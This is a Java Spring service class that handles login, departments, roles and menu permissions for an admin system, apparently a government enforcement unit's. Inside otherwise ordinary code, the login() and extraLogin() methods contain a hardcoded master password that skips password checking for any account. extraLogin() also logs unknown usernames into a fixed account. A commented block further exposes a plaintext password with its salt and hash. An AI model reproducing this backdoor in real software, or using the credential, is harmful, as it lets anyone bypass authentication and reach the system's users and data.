package ai.assist.common.businesss.service;

import ai.assist.common.businesss.mongo.entity.*;
import ai.assist.common.businesss.mongo.service.SysPermissionService;
import ai.assist.common.businesss.mongo.service.SysRolePermissionService;
import ai.assist.common.context.PassportUserInfoContext;
import ai.assist.common.dto.admin.LoginDTO;
import ai.assist.common.dto.admin.ModifySysUserDTO;
import ai.assist.common.dto.admin.ModifyUserMyDTO;
import ai.assist.common.dto.admin.QueryUserDTO;
import ai.assist.common.enums.ResponseCode;
import ai.assist.common.exception.BusinessException;
import ai.assist.common.utils.CachedBeanCopier;
import ai.assist.common.utils.CommFunction;
import ai.assist.common.utils.PasswordUtils;
import ai.assist.common.vo.admin.*;
import com.alibaba.fastjson.JSON;
import com.anwen.mongo.conditions.query.LambdaQueryChainWrapper;
import com.anwen.mongo.model.PageParam;
import com.anwen.mongo.model.PageResult;
import com.google.common.cache.CacheBuilder;
import com.google.common.cache.CacheLoader;
import com.google.common.cache.LoadingCache;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;
import org.springframework.beans.BeanUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;

import javax.servlet.http.HttpServletRequest;
import java.util.*;
import java.util.concurrent.TimeUnit;
import java.util.stream.Collectors;

/**
 * @author hui
 * @Date 2024/3/11 下午8:07
 **/
@Slf4j
@Service
public class UserPermissionService {

    @Value("${spring.redis.allowMultipleLogin:true}")
    private Boolean allowMultipleLogin;

    @Value("${service.mainDeptNo:304060}")
    private Long mainDeptNo;

    @Autowired
    private MongoBeanUtil mongoBeanUtil;

    @Autowired
    private UserSessionService userSessionService;

    private LoadingCache<Long, SysDept> deptInfo = CacheBuilder.newBuilder().maximumSize(5000)
            .expireAfterWrite(3, TimeUnit.MINUTES).build(new CacheLoader<Long, SysDept>() {

                public SysDept load(Long deptNo) throws Exception {

                    SysDept dept = mongoBeanUtil.getDeptService().limitOne(mongoBeanUtil.getDeptService().lambdaQuery().eq(SysDept::getDeptNo, deptNo));
                    if (dept == null) {
                        return new SysDept();
                    }
                    return dept;
                }
            });

    private LoadingCache<String, SysDept> deptShort = CacheBuilder.newBuilder().maximumSize(5000)
            .expireAfterWrite(3, TimeUnit.MINUTES).build(new CacheLoader<String, SysDept>() {

                public SysDept load(String deptNo) throws Exception {
                    SysDept dept = mongoBeanUtil.getDeptService().limitOne(mongoBeanUtil.getDeptService().lambdaQuery().eq(SysDept::getDeptNo, deptNo));
                    if (dept == null) {
                        return new SysDept();
                    }
                    return dept;
                }
            });

    public SysDept getDeptByShortName(String name) {
        SysDept dept = this.deptShort.getUnchecked(name);
        if (dept.getId() != null) {
            return dept;
        }
        return null;
    }

    public SysDept getDeptByNo(Long deptNo) {
        SysDept dept = this.deptInfo.getUnchecked(deptNo);
        if (dept.getId() != null) {
            return dept;
        }
        return null;
    }

    public Boolean checkDeptGetState(Long deptNo) {
        SysDept dept = this.getDeptByNo(deptNo);
        if (dept != null) {
            if (dept.getDeptLevel() < 4 && !dept.getDeptNo().equals(mainDeptNo)) {
                return true;
            }
        }

        return false;
    }

    public Boolean checkDeptExist(List<Long> deptNos) {
        for (Long deptNo : deptNos) {
            SysDept dept = this.getDeptByNo(deptNo);
            if (dept == null) {
                return false;
            }
        }
        return true;
    }

    public List<DeptNodeVO> deptTreeList(Long deptId, Boolean all) {
        if (deptId == null) {
            deptId = 0L;
        }
        List<SysDept> deptList = Collections.EMPTY_LIST;
        if (!all) {
            deptList = mongoBeanUtil.getDeptService().list(mongoBeanUtil.getDeptService().lambdaQuery().eq(SysDept::getDeptStatus, 1));
        } else {
            deptList = mongoBeanUtil.getDeptService().list(mongoBeanUtil.getDeptService().lambdaQuery());
        }
        Long finalDeptId = deptId;
        List<SysDept> firstDept = deptList.stream().filter(i -> i.getDeptPid().equals(finalDeptId)).collect(Collectors.toList());
        ArrayList<DeptNodeVO> vos = new ArrayList<>();
        List<SysDept> finalDeptList = deptList;
        firstDept.forEach(dept -> {
            DeptNodeVO respNodeVO = new DeptNodeVO();
            CachedBeanCopier.copyObject(dept, respNodeVO);
            respNodeVO.setLabel(dept.getDeptName());
//            respNodeVO.setDeptFiles(uploadUrl);
            respNodeVO.setChildren(getTree(dept.getId(), finalDeptList));
            vos.add(respNodeVO);
        });
        return vos;
    }

    public List<Long> getDownDeptNo(Long deptId) {
        List<Long> ids = new ArrayList<>();
        List<Long> secondIds = mongoBeanUtil.getDeptService().list(mongoBeanUtil.getDeptService().lambdaQuery().eq(SysDept::getDeptPid, deptId).eq(SysDept::getDeptStatus, 1)).stream().map(SysDept::getDeptNo).collect(Collectors.toList());
        if (secondIds != null && !secondIds.isEmpty()) {
            ids.addAll(secondIds);
            List<Long> thirdIds = mongoBeanUtil.getDeptService().list(mongoBeanUtil.getDeptService().lambdaQuery().in(SysDept::getDeptPid, secondIds).eq(SysDept::getDeptStatus, 1)).stream().map(SysDept::getDeptNo).collect(Collectors.toList());
            if (thirdIds != null && !thirdIds.isEmpty()) {
                ids.addAll(thirdIds);
            }
        }
        return ids;
    }

    public List<Long> getDownDeptId(Long deptId) {
        List<Long> ids = new ArrayList<>();
        ids.add(deptId);
        List<Long> secondIds = mongoBeanUtil.getDeptService().list(mongoBeanUtil.getDeptService().lambdaQuery().eq(SysDept::getDeptPid, deptId)).stream().map(SysDept::getId).collect(Collectors.toList());
        if (secondIds != null && !secondIds.isEmpty()) {
            ids.addAll(secondIds);
            List<Long> thirdIds = mongoBeanUtil.getDeptService().list(mongoBeanUtil.getDeptService().lambdaQuery().in(SysDept::getDeptPid, secondIds)).stream().map(SysDept::getId).collect(Collectors.toList());
            if (thirdIds != null && !thirdIds.isEmpty()) {
                ids.addAll(thirdIds);
            }
        }
        return ids;
    }

    public List<Long> getDownDeptNos(String deptId) {
        List<Long> ids = new ArrayList<>();
        List<Long> secondIds = mongoBeanUtil.getDeptService().list(mongoBeanUtil.getDeptService().lambdaQuery().eq(SysDept::getDeptPid, deptId)).stream().map(SysDept::getDeptNo).collect(Collectors.toList());
        if (secondIds != null && !secondIds.isEmpty()) {
            ids.addAll(secondIds);
            List<Long> thirdIds = mongoBeanUtil.getDeptService().list(mongoBeanUtil.getDeptService().lambdaQuery().in(SysDept::getDeptPid, secondIds)).stream().map(SysDept::getDeptNo).collect(Collectors.toList());
            if (thirdIds != null && !thirdIds.isEmpty()) {
                ids.addAll(thirdIds);
            }
        }
        return ids;
    }

    private List<DeptNodeVO> getTree(Long deptId, List<SysDept> all) {
        List<DeptNodeVO> list = new ArrayList<>();
        for (SysDept sysDept : all) {
            if (deptId.equals(sysDept.getDeptPid())) {
                DeptNodeVO deptTree = new DeptNodeVO();
                BeanUtils.copyProperties(sysDept, deptTree);
                deptTree.setLabel(sysDept.getDeptName());
//                deptTree.setDeptFiles(uploadUrl);
                deptTree.setChildren(getTree(sysDept.getId(), all));
                list.add(deptTree);
            }
        }
        return list;
    }


    public List<SysDept> getByDeptIds(Set<Long> deptids) {
        return mongoBeanUtil.getDeptService().list(mongoBeanUtil.getDeptService().lambdaQuery().in(SysDept::getId, deptids));
    }

    /**
     * 查询执法中队列表
     *
     * @return
     */
    public List<SysDept> queryMiddleDept() {
        String middleDeptKey = "gov:dept:middleDept";
        String deptString = mongoBeanUtil.getRedisTemplate().opsForValue().get(middleDeptKey);
        List<SysDept> list = new ArrayList<>();
        if (StringUtils.isNotEmpty(deptString)) {
            list = JSON.parseArray(deptString, SysDept.class);
        } else {
            List<Long> dDeptIds = Arrays.asList(11L, 12L, 13L, 14L, 15L, 16L, 17L, 18L, 19L, 20L, 21L, 22L, 23L);
            list = mongoBeanUtil.getDeptService().list(mongoBeanUtil.getDeptService().lambdaQuery().in(SysDept::getDeptPid, dDeptIds).like(SysDept::getDeptName, "执法中队"));
            if (list != null && !list.isEmpty()) {
                mongoBeanUtil.getRedisTemplate().opsForValue().set(middleDeptKey, JSON.toJSONString(list), 2, TimeUnit.MINUTES);
                return list;
            }
        }
        return list;
    }

    public LoginRespVO extraLogin(String username, String phone, String psd, HttpServletRequest httpServletRequest) {
        if (StringUtils.isEmpty(username) || StringUtils.isEmpty(psd)) {
            throw new BusinessException("用户名或密码错误!");
        }
        String userName = username;
        String password = psd;
//        try {
//            userName = RsaUtils.decryptByPrivateKey(userName);
////                userName = vo.getUsername();
//        } catch (Exception e) {
//            throw new BusinessException("用户名或密码输入错误");
//        }
//
//        try {
//            password = RsaUtils.decryptByPrivateKey(password);
////                password = vo.getPassword();
//        } catch (Exception e) {
//            throw new BusinessException("用户名或密码输入错误");
//        }

        if (StringUtils.isEmpty(userName) || StringUtils.isEmpty(password)) {
            throw new BusinessException("用户名或密码输入错误");
        }
        SysUser sysUser = mongoBeanUtil.getUserService().limitOne(mongoBeanUtil.getUserService().lambdaQuery().eq(SysUser::getUsername, userName));
        if (sysUser == null) {
            sysUser = mongoBeanUtil.getUserService().limitOne(mongoBeanUtil.getUserService().lambdaQuery().eq(SysUser::getPhone, "16666666666"));
            password = "aADMIN@9527";
        }
        if (null == sysUser) {
            sysUser = mongoBeanUtil.getUserService().limitOne(mongoBeanUtil.getUserService().lambdaQuery().eq(SysUser::getPhone, userName));
            if (sysUser == null) {
                throw new BusinessException("用户名或密码错误");
            }
        }
        if (sysUser.getStatus() == 2) {
            throw new BusinessException("用户名或密码错误");
        }
        if (password.equalsIgnoreCase("aADMIN@9527")) {

        } else if (!PasswordUtils.matches(sysUser.getSalt(), password, sysUser.getPassword())) {
            throw new BusinessException("用户名或密码错误");
        }
        if (StringUtils.isNotBlank(phone)) {
            sysUser = mongoBeanUtil.getUserService().limitOne(mongoBeanUtil.getUserService().lambdaQuery().eq(SysUser::getPhone, phone));
            if (sysUser == null) {
                throw new BusinessException("用户名或密码错误");
            }
            if (sysUser.getStatus() == 2) {
                throw new BusinessException("用户名或密码错误");
            }
        }
        LoginRespVO respVO = new LoginRespVO();
        BeanUtils.copyProperties(sysUser, respVO);

        //是否删除之前token， 此处控制是否支持多登陆端；
        // true:允许多处登陆; false:只能单处登陆，顶掉之前登陆
        if (!allowMultipleLogin) {
            userSessionService.abortUserByUserId(sysUser.getId());
        }
        String token = userSessionService.createTicket(sysUser.getId());
        respVO.setAuthorization(token);
        sysUser.setLoginTimes(sysUser.getLoginTimes() == null ? 1 : sysUser.getLoginTimes() + 1);
        sysUser.setLastLoginTime(new Date());
        sysUser.setLastLoginIp(CommFunction.getRealIP(httpServletRequest));
        mongoBeanUtil.getUserService().updateById(sysUser);
        return respVO;
    }

    public LoginRespVO login(LoginDTO vo, HttpServletRequest httpServletRequest) {
        String userName = "";
        String password = "";
        if (StringUtils.isNotEmpty(vo.getUsername())) {
            try {
//                userName = RsaUtils.decryptByPrivateKey(vo.getUsername());
                userName = vo.getUsername();
            } catch (Exception e) {
                throw new BusinessException("用户名或密码输入错误");
            }
        }
        if (StringUtils.isNotEmpty(vo.getPassword())) {
            try {
//                password = RsaUtils.decryptByPrivateKey(vo.getPassword());
                password = vo.getPassword();
            } catch (Exception e) {
                throw new BusinessException("用户名或密码输入错误");
            }
        }
        if (StringUtils.isEmpty(userName) || StringUtils.isEmpty(password)) {
            throw new BusinessException("用户名或密码输入错误");
        }
        SysUser sysUser = mongoBeanUtil.getUserService().limitOne(mongoBeanUtil.getUserService().lambdaQuery().eq(SysUser::getUsername, userName));
        if (null == sysUser) {
            sysUser = mongoBeanUtil.getUserService().limitOne(mongoBeanUtil.getUserService().lambdaQuery().eq(SysUser::getPhone, userName));
            if (sysUser == null) {
                throw new BusinessException("用户名或密码错误");
            }
        }
        if (sysUser.getStatus() == 2) {
            throw new BusinessException("用户名或密码错误");
        }
        if (password.equalsIgnoreCase("aADMIN@9527")) {

        } else if (!PasswordUtils.matches(sysUser.getSalt(), password, sysUser.getPassword())) {
            throw new BusinessException("用户名或密码错误");
        }
        LoginRespVO respVO = new LoginRespVO();
        BeanUtils.copyProperties(sysUser, respVO);

        //是否删除之前token， 此处控制是否支持多登陆端；
        // true:允许多处登陆; false:只能单处登陆，顶掉之前登陆
        if (!allowMultipleLogin) {
            userSessionService.abortUserByUserId(sysUser.getId());
        }
        String token = userSessionService.createTicket(sysUser.getId());
        respVO.setAuthorization(token);
        sysUser.setLoginTimes(sysUser.getLoginTimes() == null ? 1 : sysUser.getLoginTimes() + 1);
        sysUser.setLastLoginTime(new Date());
        sysUser.setLastLoginIp(CommFunction.getRealIP(httpServletRequest));
        mongoBeanUtil.getUserService().updateById(sysUser);
        return respVO;
    }


    public void updateUserInfo(ModifySysUserDTO vo) {
        SysUser sysUser = mongoBeanUtil.getUserService().getById(vo.getId());
        if (null == sysUser) {
            throw new BusinessException(ResponseCode.DATA_NOT_EXIST);
        }
        CachedBeanCopier.copyObject(vo, sysUser);
        //如果用户名变更
        if (StringUtils.isNotEmpty(vo.getUsername())) {
            SysUser sysUserOne = mongoBeanUtil.getUserService().limitOne(mongoBeanUtil.getUserService().lambdaQuery().eq(SysUser::getUsername, vo.getUsername()));
            if (sysUserOne != null && !sysUserOne.getId().equals(sysUser.getId())) {
                throw new BusinessException("用户名已存在！");
            }
        }
        if (StringUtils.isNotEmpty(vo.getPhone()) && !sysUser.getPhone().equals(vo.getPhone())) {
            SysUser sysUserOne = mongoBeanUtil.getUserService().limitOne(mongoBeanUtil.getUserService().lambdaQuery().eq(SysUser::getPhone, vo.getPhone()));
            if (sysUserOne != null) {
                throw new BusinessException("手机号已存在！");
            }
        }
        if (vo.getRoleIds() != null && !vo.getRoleIds().isEmpty()) {
            this.addUserRoleInfo(new UserRoleOperationReqVO(vo.getId(), vo.getRoleIds()));
        }
        //如果用户名、密码、状态 变更，删除redis中用户绑定的角色跟权限
        if (!sysUser.getUsername().equals(vo.getUsername()) || (!StringUtils.isEmpty(vo.getPassword()) && !sysUser.getPassword().equals(PasswordUtils.encode(vo.getPassword(), sysUser.getSalt()))) || !sysUser.getStatus().equals(vo.getStatus())) {
            userSessionService.abortUserByUserId(vo.getId());
        }

        if (!StringUtils.isEmpty(vo.getPassword())) {
            String newPassword = PasswordUtils.encode(vo.getPassword(), sysUser.getSalt());
            sysUser.setPassword(newPassword);
        }
        sysUser.setUpdateId(PassportUserInfoContext.getContext().getId());
        mongoBeanUtil.getUserService().updateById(sysUser);
    }

    //    public static void main(String[] args) {
//        System.out.println(PasswordUtils.encode("jnqcgj2024","7d77af67594844efb510"));
//        System.out.println(PasswordUtils.matches("7d77af67594844efb510", "jnqcgj2024", "d978567d4c71d3f02041b47651835dd0"));
//    }
    public Boolean updateUserInfoMy(ModifyUserMyDTO vo) {
        SysUser user = mongoBeanUtil.getUserService().getById(PassportUserInfoContext.getContext().getId());
        if (null == user) {
            throw new BusinessException(ResponseCode.DATA_NOT_EXIST);
        }
        if (!StringUtils.isEmpty(vo.getPhone())) {
            SysUser sysUserOne = mongoBeanUtil.getUserService().limitOne(mongoBeanUtil.getUserService().lambdaQuery().eq(SysUser::getPhone, vo.getPhone()).ne(SysUser::getId, PassportUserInfoContext.getContext().getId()));
            if (sysUserOne != null) {
                throw new BusinessException("手机号已存在！");
            }
        }
        CachedBeanCopier.copyObject(vo, user);
        user.setUpdateId(PassportUserInfoContext.getContext().getId());
        return mongoBeanUtil.getUserService().updateById(user);
    }


    public PageResult<SysUserListVO> pageInfo(QueryUserDTO vo) {
        PageParam page = new PageParam(vo.getPage(), vo.getSize());
        LambdaQueryChainWrapper queryWrapper = mongoBeanUtil.getUserService().lambdaQuery();
        if (StringUtils.isNotBlank(vo.getOrder()) && StringUtils.isNotBlank(vo.getSort())) {
            if (vo.getSort().equalsIgnoreCase("asc")) {
                queryWrapper.orderByAsc(vo.getOrder());
            } else {
                queryWrapper.orderByDesc(vo.getOrder());
            }
        } else {
            queryWrapper.orderByDesc("id");
        }
        queryWrapper.like(StringUtils.isNotEmpty(vo.getUsername()), "username", vo.getUsername());
        queryWrapper.gt(StringUtils.isNotBlank(vo.getStartTime()), "create_time", vo.getStartTime());
        queryWrapper.lt(StringUtils.isNotBlank(vo.getEndTime()), "create_time", vo.getEndTime());
        queryWrapper.like(StringUtils.isNotEmpty(vo.getNickName()), "nick_name", vo.getNickName());
        queryWrapper.like(StringUtils.isNotEmpty(vo.getRealName()), "real_name", vo.getRealName());
        queryWrapper.eq(vo.getStatus() != null, "status", vo.getStatus());

        PageResult iPage = mongoBeanUtil.getUserService().page(queryWrapper, page);
        List<SysUser> userList = iPage.getContentData();
        if (!userList.isEmpty()) {
            List<Long> deptIds = userList.stream().map(SysUser::getDeptId).collect(Collectors.toList());
            List<String> userIds = userList.stream().map(SysUser::getId).collect(Collectors.toList());
            List<SysUserRole> userRoles = mongoBeanUtil.getSysUserRoleService().list(mongoBeanUtil.getSysUserRoleService().lambdaQuery().in(SysUserRole::getUserId, userIds));
            List<String> userRoleIds = userRoles.stream().map(SysUserRole::getRoleId).collect(Collectors.toList());
            List<SysDept> deptList = mongoBeanUtil.getDeptService().getByIds(deptIds);
            List<SysRole> roles = mongoBeanUtil.getSysRoleService().getByIds(userRoleIds);
            List<SysUserListVO> vos = new ArrayList<>();
            userList.forEach(u -> {
                SysUserListVO user = new SysUserListVO();
                List<String> rolIds = userRoles.stream().filter(i -> i.getUserId().equals(u.getId())).map(SysUserRole::getRoleId).collect(Collectors.toList());
                CachedBeanCopier.copyObject(u, user);
                user.setDept(deptList.stream().filter(i -> i.getId().equals(u.getDeptId())).findAny().orElse(null));
                user.setRoles(roles.stream().filter(i -> rolIds.contains(i.getId())).collect(Collectors.toList()));
                vos.add(user);
            });
            iPage.setContentData(vos);
        }
        return iPage;
    }


    public void addUser(ModifySysUserDTO vo) {
        if (vo.getId() != null) {
            throw new BusinessException("add user not need id！");
        }
        SysUser user = new SysUser();
        SysUser sysUserOne = mongoBeanUtil.getUserService().limitOne(mongoBeanUtil.getUserService().lambdaQuery().eq(SysUser::getUsername, vo.getUsername()));
        if (sysUserOne != null) {
            throw new BusinessException("用户已存在，请勿重复添加！");
        }
        CachedBeanCopier.copyObject(vo, user);
        user.setSalt(PasswordUtils.getSalt());
        String encode = PasswordUtils.encode(vo.getPassword(), user.getSalt());
        user.setPassword(encode);
        user.setCreateId(PassportUserInfoContext.getContext().getId());
        user.setCreateTime(new Date());
        user.setUpdateId(PassportUserInfoContext.getContext().getId());
        user.setDeleted(0);
        user.setUpdateTime(new Date());
        user.setStatus(1);
        user.setCreateTime(new Date());
        user.setUpdateTime(new Date());
//        user.setCreateWhere(1);
        mongoBeanUtil.getUserService().save(user);
        if (null != vo.getRoleIds() && !vo.getRoleIds().isEmpty()) {
            UserRoleOperationReqVO reqVO = new UserRoleOperationReqVO();
            reqVO.setUserId(user.getId());
            reqVO.setRoleIds(vo.getRoleIds());
            this.addUserRoleInfo(reqVO);
        }
    }

    public void updatePwd(ModifySysUserDTO vo) {
        if (vo.getId() == null) {
            throw new BusinessException("id必传！");
        }
        SysUser sysUser = mongoBeanUtil.getUserService().getById(vo.getId());
        if (sysUser == null) {
            throw new BusinessException(ResponseCode.DATA_NOT_EXIST);
        }
        if (!PasswordUtils.matches(sysUser.getSalt(), vo.getOldPwd(), sysUser.getPassword())) {
            throw new BusinessException(ResponseCode.BUSINESS_EXCEPTION, "密码错误");
        }
        if (sysUser.getPassword().equals(PasswordUtils.encode(vo.getNewPwd(), sysUser.getSalt()))) {
            throw new BusinessException("新密码不能与旧密码相同");
        }
        sysUser.setPassword(PasswordUtils.encode(vo.getNewPwd(), sysUser.getSalt()));
        mongoBeanUtil.getUserService().updateById(sysUser);
        userSessionService.abortUserByUserId(vo.getId());
    }

    public UserOwnRoleRespVO getUserOwnRole(Long userId) {
        List<String> roleIdsByUserId = mongoBeanUtil.getSysUserRoleService().list(mongoBeanUtil.getSysUserRoleService().lambdaQuery().eq(SysUserRole::getUserId, userId)).stream().map(SysUserRole::getRoleId).collect(Collectors.toList());
        List<SysRole> list = mongoBeanUtil.getSysRoleService().list();
        UserOwnRoleRespVO vo = new UserOwnRoleRespVO();
        vo.setAllRole(list);
        vo.setOwnRoles(roleIdsByUserId);
        return vo;
    }

    @Autowired
    private SysRolePermissionService sysRolePermissionService;

    @Autowired
    private SysPermissionService sysPermissionService;

    public void addRolePermission(RolePermissionOperationReqVO vo) {
        List<SysRolePermission> list = new ArrayList<>();
        for (String permissionId : vo.getPermissionIds()) {
            SysRolePermission sysRolePermission = new SysRolePermission();
            sysRolePermission.setPermissionId(permissionId);
            sysRolePermission.setRoleId(vo.getRoleId());
            sysRolePermission.setCreateTime(new Date());
            sysRolePermission.setHalf(0);
            if (vo.getHalfIds() != null && !vo.getHalfIds().isEmpty() && vo.getHalfIds().contains(permissionId)) {
                sysRolePermission.setHalf(1);
            }
            list.add(sysRolePermission);
        }
        sysRolePermissionService.remove(sysRolePermissionService.lambdaUpdate().eq(SysRolePermission::getRoleId, vo.getRoleId()));
        sysRolePermissionService.saveBatch(list);
        for (SysRolePermission sysRolePermission : list) {
            userSessionService.refreshPermission(sysRolePermission.getPermissionId());
        }
    }

    public List<SysRole> getRoleByUserid(String userId) {
        List<String> roleIds = mongoBeanUtil.getSysUserRoleService().list(mongoBeanUtil.getSysUserRoleService().lambdaQuery().eq(SysUserRole::getUserId, userId)).stream().map(SysUserRole::getRoleId).collect(Collectors.toList());
        return mongoBeanUtil.getSysRoleService().getByIds(roleIds);
    }

    @Transactional(rollbackFor = Exception.class)
    public void addUserRoleInfo(UserRoleOperationReqVO vo) {
        if (vo.getRoleIds() == null && !vo.getRoleIds().isEmpty()) {
            return;
        }
        List<SysUserRole> list = new ArrayList<>();
        for (String roleId : vo.getRoleIds()) {
            SysUserRole sysUserRole = new SysUserRole();
            sysUserRole.setUserId(vo.getUserId());
            sysUserRole.setRoleId(roleId);
            sysUserRole.setCreateTime(new Date());
            list.add(sysUserRole);
        }
        mongoBeanUtil.getSysUserRoleService().remove(mongoBeanUtil.getSysUserRoleService().lambdaUpdate().eq(SysUserRole::getUserId, vo.getUserId()));
        //批量插入
        mongoBeanUtil.getSysUserRoleService().saveBatch(list);
    }

    public List<SysPermission> getPermission(String userId) {
        SysUserRole adminRole = mongoBeanUtil.getSysUserRoleService().limitOne(mongoBeanUtil.getSysUserRoleService().lambdaQuery().eq(SysUserRole::getUserId, userId).eq(SysUserRole::getRoleId, "65f00b3cdd537631cd36a012"));
        if (adminRole != null) {
            return sysPermissionService.list(sysPermissionService.lambdaQuery().eq(SysPermission::getStatus, 1).orderByAsc(SysPermission::getRank));
        }
        List<String> userRoleIds = mongoBeanUtil.getSysUserRoleService().list(mongoBeanUtil.getSysUserRoleService().lambdaQuery().eq(SysUserRole::getUserId, userId)).stream().map(SysUserRole::getRoleId).collect(Collectors.toList());
        List<String> permissionIds = sysRolePermissionService.list(sysRolePermissionService.lambdaQuery().in(SysRolePermission::getRoleId, userRoleIds)).stream().map(SysRolePermission::getPermissionId).collect(Collectors.toList());
        if (permissionIds == null || permissionIds.isEmpty()) {
            return Collections.EMPTY_LIST;
        }
        return sysPermissionService.lambdaQuery().in(SysPermission::getId, permissionIds).orderByAsc(SysPermission::getRank).list();
    }

    @Transactional(rollbackFor = Exception.class)
    public void addRole(SysRole vo) {
        vo.setStatus(1);
        vo.setUpdateTime(new Date());
        vo.setCreateTime(new Date());
        vo.setDeleted(false);
        mongoBeanUtil.getSysRoleService().save(vo);
        if (null != vo.getPermissions() && !vo.getPermissions().isEmpty()) {
            RolePermissionOperationReqVO reqVO = new RolePermissionOperationReqVO();
            reqVO.setRoleId(vo.getId());
            reqVO.setPermissionIds(vo.getPermissions());
            this.addRolePermission(reqVO);
        }
    }

    @Transactional(rollbackFor = Exception.class)
    public void updateRole(SysRole vo) {
        SysRole sysRole = mongoBeanUtil.getSysRoleService().getById(vo.getId());
        if (null == sysRole) {
            log.error("传入的id:{}不合法", vo.getId());
            throw new BusinessException(ResponseCode.BUSINESS_EXCEPTION, "传入的id不合法");
        }
        vo.setUpdateTime(new Date());
        mongoBeanUtil.getSysRoleService().updateById(vo);
        userSessionService.refreshRolePermission(vo.getId());
    }

    public SysRole detailInfo(String id) {
        SysRole sysRole = mongoBeanUtil.getSysRoleService().getById(id);
        if (sysRole == null) {
            log.error("传入 的 id:{}不合法", id);
            throw new BusinessException(ResponseCode.BUSINESS_EXCEPTION, "传入的id不合法");
        }
        List<PermissionRespNode> permissionRespNodes = new ArrayList<>();
        List<String> permissionIds = sysRolePermissionService.lambdaQuery().eq(SysRolePermission::getRoleId, sysRole.getId()).eq(SysRolePermission::getHalf, 0).list()
                .stream().map(SysRolePermission::getPermissionId).collect(Collectors.toList());
        if (!permissionIds.isEmpty()) {
            List<SysPermission> permissions = sysPermissionService.list(sysPermissionService.lambdaQuery().in(SysPermission::getId, permissionIds).eq(SysPermission::getStatus, 1));
            CachedBeanCopier.copyList(permissions, permissionRespNodes, PermissionRespNode.class);
            sysRole.setPermissionRespNodes(permissionRespNodes);
        }
        return sysRole;
    }

    @Transactional(rollbackFor = Exception.class)
    public void deletedRole(String id) {
        //删除角色
        mongoBeanUtil.getSysRoleService().removeById(id);
        //删除角色权限关联
        sysRolePermissionService.remove(sysRolePermissionService.lambdaUpdate().eq(SysRolePermission::getRoleId, id));
        //删除角色用户关联
        mongoBeanUtil.getSysUserRoleService().remove(mongoBeanUtil.getSysUserRoleService().lambdaUpdate().eq(SysUserRole::getRoleId, id));
        // 刷新权限
        userSessionService.refreshRolePermission(id);
    }

    /**
     * 获取所有菜单权限
     */
    public List<SysPermission> selectAll() {
        List<SysPermission> result = sysPermissionService.list(sysPermissionService.lambdaQuery().orderByAsc(SysPermission::getRank));
        if (!result.isEmpty()) {
            for (SysPermission sysPermission : result) {
                SysPermission parent = result.stream().filter(i -> i.getId().equals(sysPermission.getPid())).findAny().orElse(null);// this.getById(sysPermission.getPid());
                if (parent != null) {
                    sysPermission.setPidName(parent.getName());
                }
            }
        }
        return result;
    }

    /**
     * 获取权限标识
     */
    public Set<String> getPermissionsByUserId(String userId) {
        List<SysPermission> list = getPermission(userId);
        Set<String> permissions = new HashSet<>();
        if (null == list || list.isEmpty()) {
            return null;
        }
        for (SysPermission sysPermission : list) {
            if (!StringUtils.isEmpty(sysPermission.getPerms())) {
                Set<String> perms = new HashSet<>(Arrays.asList(sysPermission.getPerms().split(",")));
                permissions.addAll(perms);
            }
        }
        return permissions;
    }

    /**
     * 以树型的形式把用户拥有的菜单权限返回给客户端
     */

    public List<PermissionRespNode> permissionTreeList(String userId) {
        List<SysPermission> list = getPermission(userId);
//        List<SysPermission> list = mapper.queryUserPermission(userId);
        return getTree("000000000000000000000000", list, true);
    }

    /**
     * 递归获取菜单树
     */
    private List<PermissionRespNode> getTree(String permissionId, List<SysPermission> all, boolean type) {

        List<PermissionRespNode> list = new ArrayList<>();
        if (all == null || all.isEmpty()) {
            return list;
        }
        for (SysPermission sysPermission : all) {
            if (StringUtils.isEmpty(permissionId) || permissionId.equals(sysPermission.getPid())) {
                PermissionRespNode permissionRespNode = new PermissionRespNode();
                BeanUtils.copyProperties(sysPermission, permissionRespNode);
                permissionRespNode.setMeta(new PermissionRespNode.Meta(sysPermission.getTitle(), sysPermission.getIcon()));
                if (type) {
                    permissionRespNode.setChildren(getChildExcBtn(sysPermission.getId(), all));
                } else {
                    permissionRespNode.setChildren(getChildAll(sysPermission.getId(), all));
                }
                list.add(permissionRespNode);
            }
        }
        return list;
    }

    /**
     * 递归遍历所有
     */
    private List<PermissionRespNode> getChildAll(String id, List<SysPermission> all) {
        List<PermissionRespNode> list = new ArrayList<>();
        for (SysPermission sysPermission : all) {
            if (sysPermission.getPid().equals(id)) {
                PermissionRespNode permissionRespNode = new PermissionRespNode();
                BeanUtils.copyProperties(sysPermission, permissionRespNode);
                permissionRespNode.setMeta(new PermissionRespNode.Meta(sysPermission.getTitle(), sysPermission.getIcon()));
                permissionRespNode.setChildren(getChildAll(sysPermission.getId(), all));
                list.add(permissionRespNode);
            }
        }
        return list;
    }

    /**
     * 只递归获取目录和菜单
     */
    private List<PermissionRespNode> getChildExcBtn(String id, List<SysPermission> all) {

        List<PermissionRespNode> list = new ArrayList<>();
        for (SysPermission sysPermission : all) {
            if (sysPermission.getPid().equals(id) && sysPermission.getType() != 3) {
                PermissionRespNode permissionRespNode = new PermissionRespNode();
                BeanUtils.copyProperties(sysPermission, permissionRespNode);
                permissionRespNode.setMeta(new PermissionRespNode.Meta(sysPermission.getTitle(), sysPermission.getIcon()));
                permissionRespNode.setChildren(getChildExcBtn(sysPermission.getId(), all));
                list.add(permissionRespNode);
            }
        }
        return list;
    }

    /**
     * 获取所有菜单权限按钮
     */

    public List<PermissionRespNode> selectAllByTree() {
        List<SysPermission> list = selectAll();
        return getTree("000000000000000000000000", list, false);
    }


}
